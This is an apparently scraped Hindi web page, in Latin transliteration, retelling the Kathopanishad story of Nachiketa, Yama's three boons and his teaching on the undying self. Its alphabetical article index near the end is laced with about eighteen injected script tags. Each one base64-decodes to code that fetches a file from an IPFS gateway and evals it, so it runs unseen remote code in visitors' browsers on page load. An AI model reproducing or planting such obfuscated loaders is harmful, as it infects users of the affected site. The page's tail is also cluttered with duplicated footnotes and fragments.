नचिकेता की कहानी

yam ke dvar par

'n dene yogy gau ke dan se data ka ulte amangal hota hai' is vichar se sattvik buddhi-sampann rrishikumar nachiketa adhir ho uthe . unake pita vajashravas-vajashrava ke putr uddalak ne vishvajit namak mahanh yajn ke anushthan mean apani sari sampatti dan kar di, kintu rrishi-rritvij aur sadasyoan ki dakshina mean achchhi-buri sabhi gauean di ja rahi thian . pita ke mangal ki raksha ke lie apane anisht ki ashanka hote hue bhi unhoanne vinayapoorvak kaha-'pitaji ! maian bhi apaka dhan hooan, mujhe kise de rahe haian?^[1]

uddalak ne koee uttar nahian diya . nachiketa ne pun: vahi prashn kiya, par uddalak tal gaye .
'pitaji ! mujhe kise de rahe haian ? tisari bar poochhne par uddalak ko krodh a gaya . chidhakar unhoanne kaha- 'tumhean deta hooan mrityu ko. ^[2] nachiketa vichalit nahian hue . parinam ke lie, ve pahale se hi prastut the . unhoanne hath jo dakar pita se kaha -'pitaji ! sharir nashvar hai, par sadacharan sarvopari hai . ap apane vachan ki raksha ke lie yam sadan jane ki mujhe ajna dean .'
rrishi saham gaye , par putr ki satyaparayanata dekhakar use yamapuri jane ki ajna unhoanne de di . nachiketa ne pita ke charanoan mean sabhakti pranam kiya aur ve yamaraj ki puri ke lie prasthit ho gaye . yamaraj kaanp uthe . atithi brahman ka satkar n karane ke kuparinam se ve poornatay parichit the aur ye to agnituly tejasvi rrishikumar the, jo unaki anupasthiti mean unake dvar bina ann-jal grahan kie tin rat bita chuke the . yam jalapoorit svarn-kalash apane hi hathoan mean lie dau de . unhoanne nachiketa ko sammanapoorvak padyarghy dekar atyant vinay se kaha -'adaraniy brahmanakumar! poojy atithi hokar bhi apane mere dvar par tin ratriyaan upavas mean bita dian, yah mera aparadh hai . ap pratyek ratri ke liye ek-ek var mujhase maang lean .

'mrityo ! mere pita mere prati shant-sankalp, prasannachitt aur krodharahit ho jaean aur jab maian apake yahaan se lautakar ghar jaooan, tab ve mujhe pahachanakar premapoorvak batachit karean .' pitribhakt balak ne pratham var maanga .

'tathastu' yamaraj ne kaha.

'mrityo ! svarg ke sadhanabhoot agni ko ap bhalibhaanti janate haian . use hi janakar log svarg mean amritattv-devatv ko prapt hote haian, maian use janana chahata hooan . yahi meri dvitiy var-yachana hai .'

'yah agni anant svarg-lok ki prapti ka sadhan hai . ' yamaraj nachiketa ko alpayu, tikshn buddhi tatha vastavik jijnasu ke roop mean pakar prasann the . unhoanne kaha- 'yahi virat roop se jagath ki pratishtha ka mool karan hai . ise ap vidvanoan ki buddhiroop guha mean sthit samajhiye .'

us agni ke lie jaisi jitani eeantean chahie, ve jis prakar rakkhi jani chahie tatha yajnasthali nirman ke lie avashyak samagriyaan aur agnichayan karane ki vidhi batalate hue atyant santusht hokar yam ne dvitiy var ke roop mean kaha- 'maine jis agni ki bat apase kahian, vah apake hi nam se prasiddh hogi aur ap is vichitr ratnoan vali mala ko bhi grahan kijie .'
'he nachiketa, ab tisara var maangiye .' ^[3] agni ko svarg ka sadhan achchhi prakar batalakar yam ne kaha . 'ap mrityu ke devata haian .' shraddha-samanvit nachiketa ne kaha- 'atma ka pratyaksh ya anuman se nirnay nahian ho pata . at: maian apase vahian atmatattv janana chahata hooan . kripapoorvak batala dijie .'

yam jhijhake . atm-vidya sadharan vidya nahian . unhoanne nachiketa ko us jnan ki duroohata batalayi, par unako ve apane nishchay se nahian diga sake . yam ne bhuvan mohan astr ka prayog kiya- sur-durlabh sundariyaan aur dirghakal sthayini bhog-samagriyoan ka pralobhan diya, par rrishikumar apane tattv-sambandhi goodh var se vichalit nahian ho sake .
'ap b de bhagyavan haian .' yam ne nachiketa ke vairagy ki prashansa ki aur vittamayi sansar gati ki ninda karate hue batalaya ki vivek vairagyasampann purush hi brahmajnan prapti ke adhikari haian . shrey-prey aur vidya-avidya ke viparit svaroop ka yam ne poora varnan karate hue kaha- 'ap shrey chahate haian tatha vidya ke adhikari haian .'
'he bhagavan ! yadi ap mujh par prasann haian to sab prakar ke vyavaharik vishayoan se atit jis parabrahm ko ap dekhate haian mujhe avashy batalane ki kripa kijiye .'
'atma chetan hai. vah n janmata hai, n marata hai . n yah kisi se utpann hua hai aur n koee doosara hi isase utpann hua hai .' nachiketa ki jijnasa dekhakar yam atyannt prasann ho ge the . unhoanne atma ke svaroop ko vistarapoorvak samajhaya-'vah ajanma hai , nity hai, shashvat hai, sanatan hai, sharir ke nash hone par bhi bana rahata hai. vah sookshm-se -sookshm aur mahanh se bhi mahanh hai . vah samast anity sharir mean rahate hue bhi sharirarahit hai, samast asthir padarthoan mean vyapt hote hue bhi sada sthir hai . vah kan-kan mean vyapt hai . sara srishti kram usi ke adesh par chalata hai . agni usi ke bhay se chalata hai, soory usi ke bhay se tapata hai, indr, vayu aur paanchavaan mrityu usi ke bhay se dau date haian . jo purush kal ke gal mean jane ke poorv use jan lete haian, ve mukt ho jate haian . shokadi kleshoan ko par kar paramanand ko prapt kar lete haian .'
yam ne kaha, 'vah n to ved ke pravachan se prapt hota hai, n vishal buddhi se milata hai aur n keval janmabhar shastroan ke shravan se hi milata hai.^[4] vah unhian ko prapt hota hai, jinaki vasanaean shant ho chuki haian, kamanaean mit chuki haian aur jinake pavitr ant:karan ko malinata ki chhaya bhi sparsh nahian kar pati jo use pane ke lie atyant vyakul ho jate haian . atm-jnan prapt kar lene ke bad uddalak putr kumar nachiketa laute to unhoanne dekha ki vriddh tapasviyoan ka samuday bhi unake svagatarth kh da hai .

tika tippani

↑ 'tat kasmai maan dasyasiti .'
↑ 'mrityave tvaan dadamiti .'
↑ 'tritiy varan nichaketa vrinishv .'
↑ 'nayamatma pravachanen labhyo n medhaya n bahuna shruten .'

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] 'tat kasmai maan dasyasiti .'

[2] 'mrityave tvaan dadamiti .'

[3] 'tritiy varan nichaketa vrinishv .'

[4] 'nayamatma pravachanen labhyo n medhaya n bahuna shruten .'

[1]

[2]

[3]

[4]

नचिकेता की कहानी

tika tippani

sanbandhit lekh

varnamala kramanusar lekh khoj

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